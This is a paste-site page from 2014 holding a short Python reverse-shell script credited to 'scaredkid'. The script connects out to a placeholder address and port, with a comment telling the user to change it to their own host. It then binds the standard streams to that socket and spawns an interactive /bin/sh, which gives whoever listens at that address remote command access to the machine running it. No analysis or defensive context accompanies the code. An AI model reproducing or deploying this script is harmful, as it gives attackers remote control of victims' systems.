Untitled


SUBMITTED BY: Guest

DATE: Oct. 5, 2014, 6:04 a.m.

FORMAT: Text only

SIZE: 678 Bytes

HITS: 1332

  1. #!/usr/bin/env python
  2. # Peace is a lie, there is only passion.
  3. # Through passion, I gain strength.
  4. # Through strength, I gain power.
  5. # Through power, I gain victory.
  6. # Through victory, my chains are broken.
  7. # The Force shall free me.
  8. import socket,subprocess,os,sys,time,pty
  9. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  10. s.connect(("127.0.0.1",1337)); #Change this ip,port
  11. os.dup2(s.fileno(),0);
  12. os.dup2(s.fileno(),1);
  13. os.dup2(s.fileno(),2);
  14. time.sleep(5)
  15. pty.spawn(["/bin/sh","-i"]);
  16. print 'http://scaredkid.org/ tcpsh.py\n'
  17. print 'Coded by scaredkid\n'
  18. print 'Session ended!\n'
  19. #EOF

comments powered by Disqus